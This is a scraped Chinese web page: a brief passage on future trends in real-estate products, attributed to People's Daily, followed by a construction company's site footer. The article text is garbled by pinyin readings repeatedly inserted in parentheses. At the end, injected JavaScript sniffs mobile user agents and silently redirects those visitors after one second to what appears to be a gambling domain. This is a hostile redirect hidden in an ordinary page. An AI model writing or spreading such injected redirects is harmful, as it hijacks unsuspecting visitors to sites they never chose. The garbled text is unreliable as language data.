不(bu)仅应具(ju)有一(yi)(yi)定的产(chan)(chan)(chan)品(pin)(pin)创(chuang)新能(neng)力,更要有高效的产(chan)(chan)(chan)品(pin)(pin)转(zhuan)(zhuan)(zhuan)化(hua)能(neng)力,即(ji)把创(chuang)新产(chan)(chan)(chan)品(pin)(pin)转(zhuan)(zhuan)(zhuan)化(hua)为成熟产(chan)(chan)(chan)品(pin)(pin),再把成熟产(chan)(chan)(chan)品(pin)(pin)转(zhuan)(zhuan)(zhuan)化(hua)为标(biao)(biao)(biao)(biao)准(zhun)(zhun)化(hua)产(chan)(chan)(chan)品(pin)(pin)。

  除了功能多样化(hua)、需(xu)求智能化(hua)、建设标准化(hua)等趋势外,物联网(wang)、个性化(hua)、定(ding)制化(hua)也将是(shi)房(fang)地产产品(pin)的未(wei)来趋势。(来源:人民网(wang))


网站地图 | 友情链接 | 法律声明 | 联系我们 信访邮箱 帮助中心

电话:+86(10)88083699 传真:+86(10)88084266 E-MAIL:cscecfc@chatnur.com
地址:北京市海淀区三里河路15号中建大厦A座15层 邮编:100037 ICP许可证编号:京ICP备12023645号
推荐显示器分辨率1024*768 IE8.0以上浏览器

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();